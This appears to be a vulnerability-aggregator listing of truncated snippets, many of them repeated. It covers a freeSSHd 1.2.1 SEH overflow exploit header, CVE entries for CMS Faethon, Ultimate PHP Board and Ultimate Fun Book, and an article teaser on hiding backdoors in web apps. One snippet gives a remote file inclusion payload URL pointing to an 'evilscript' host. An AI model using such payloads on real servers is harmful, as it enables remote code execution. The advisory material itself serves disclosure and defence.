freeSSHd 1.2.1 - (Authenticated) Remote Overflow (SEH)

!/usr/bin/perl FreeSSHD 1.2.1 Post Auth Remote Seh Overflow http://freeddsshd.com/ Exploit based on securfrog Poc http://www.milw0rm.com/exploits/5709 Coded by Matteo Memelli aka ryujin Spaghetti & PwnSauce http://www.be4mind.com http://www.gray-world.net Tested on Windows XPSp2 EN / Windows Vist...

freesshd-sehoverflow.txt

!/usr/bin/perl FreeSSHD 1.2.1 Post Auth Remote Seh Overflow http://freeddsshd.com/ Exploit based on securfrog Poc http://www.milw0rm.com/exploits/5709 Coded by Matteo Memelli aka ryujin Spaghetti & PwnSauce http://www.be4mind.com http://www.gray-world.net rm thisJunk use strict; use Net::SSH2; my...

freeSSHd 1.2.1 (Post Auth) Remote SEH Overflow Exploit

Exploit for unknown platform in category remote exploits ====================================================== freeSSHd 1.2.1 Post Auth Remote SEH Overflow Exploit ====================================================== !/usr/bin/perl FreeSSHD 1.2.1 Post Auth Remote Seh Overflow...

Cross site scripting

Cross-site scripting XSS vulnerability in search.php in CMS Faethon 2.2 Ultimate allows remote attackers to inject arbitrary web script or HTML via the what parameter. NOTE: some of these details are obtained from third party information...

CVE-2008-2128

CVE-2008-2128 describes a PHP remote file inclusion in CMS Faethon 2.2 Ultimate (templates/header.php) that allows an attacker to execute arbitrary PHP code via the mainpath parameter. This aligns with related Faethon RFI issues documented for earlier versions (e.g., 2.0/1.3.2) and is supported b...

CVE-2008-2127

The CVE-2008-2127 entry describes an XSS vulnerability in the CMS Faethon 2.2 Ultimate, exploitable via the what parameter in search.php. The issue allows remote attackers to inject arbitrary script/HTML, with impact limited to partial integrity and no confidentiality/availability loss per the ci...

CMS Faethon 2.2 Ultimate (RFI/XSS) Multiple Remote Vulnerabilies

No description provided by source. -========================================== ViVa Islam + YeMeN ====================================- Name : CMS Faethon 2.2 Ultimate Multiple Remote Vulnerabilies Download From : http://cmsfaethon.org Found By : RoMaNcYxHaCkEr RoMaNTiC-TeaM BlackxHat , BlackBox ...

CVE-2002-2322

Ultimate PHP Board UPB 1.0b stores the users.dat data file under the web root with insufficient access control, which allows remote attackers to obtain usernames and passwords...

CVE-2002-2322: Improper Input Validation

Ultimate PHP Board UPB 1.0b stores the users.dat data file under the web root with insufficient access control, which allows remote attackers to obtain usernames and passwords...

CVE-2002-2276

Ultimate PHP Board (UPB) 1.0 exposes a path disclosure: a direct request to add.php allows remote attackers to view the physical path of the message board via the error message. This is a remote information-disclosure vulnerability (CVE-2002-2276). Exploitation details are described across multip...

CVE-2002-2276: Exposure of Sensitive Information to an Unauthorized Actor

Ultimate PHP Board UPB 1.0 allows remote attackers to view the physical path of the message board via a direct request to add.php, which leaks the path in an error message...

Hack attack:in a WEB App, hidden Backdoor-vulnerability warning-the black bar safety net

In many commercial programs,the programmer might, for some purposes, in the program left by the back door. We do not discuss the purpose of doing so is what, just talk about how in the program to hide an“ultimate back door.” First of all for everyone to see an example, last year I wrote an articl...

CVE-2006-7169

PHP remote file inclusion vulnerability in includes/headersimple.php in Ultimate PHP Board UPB 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CONFIGskindir parameter...

CVE-2006-7169: Undefined Security Weakness

PHP remote file inclusion vulnerability in includes/headersimple.php in Ultimate PHP Board UPB 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the CONFIGskindir parameter...

Ultimate Fun Book 1.02 (function.php) Remote File Include Vulnerability:

Ultimate Fun Book 1.02 found by:kezzap66345 contant= : download script=http://www.ultimate-fun-board.de dork:Ultimate-Fun-Book 1.02 file: function.php code: ?php require$gbpfad."/config.php"; exploit: http://target/path/function.php?gbpfad=http://evilscript thanx= x0r0n,str0ke,shakia milw0rm.com...

CVE-2007-1059

PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...

Remote file inclusion

PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...

CVE-2007-1059

PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...

CVE-2007-1059: Undefined Security Weakness

PHP remote file inclusion vulnerability in function.php in Ultimate Fun Book 1.02 allows remote attackers to execute arbitrary PHP code via a URL in the gbpfad parameter. NOTE: some sources mention "Ultimate Fun Board," but this appears to be an error...

CVE-2007-1059

CVE-2007-1059 concerns PHP remote file inclusion in Ultimate Fun Book 1.02. The vulnerability exists in the function.php file where the gbpfad parameter can be crafted to include a remote URL, enabling a remote attacker to execute arbitrary PHP code on the affected system. This is documented acro...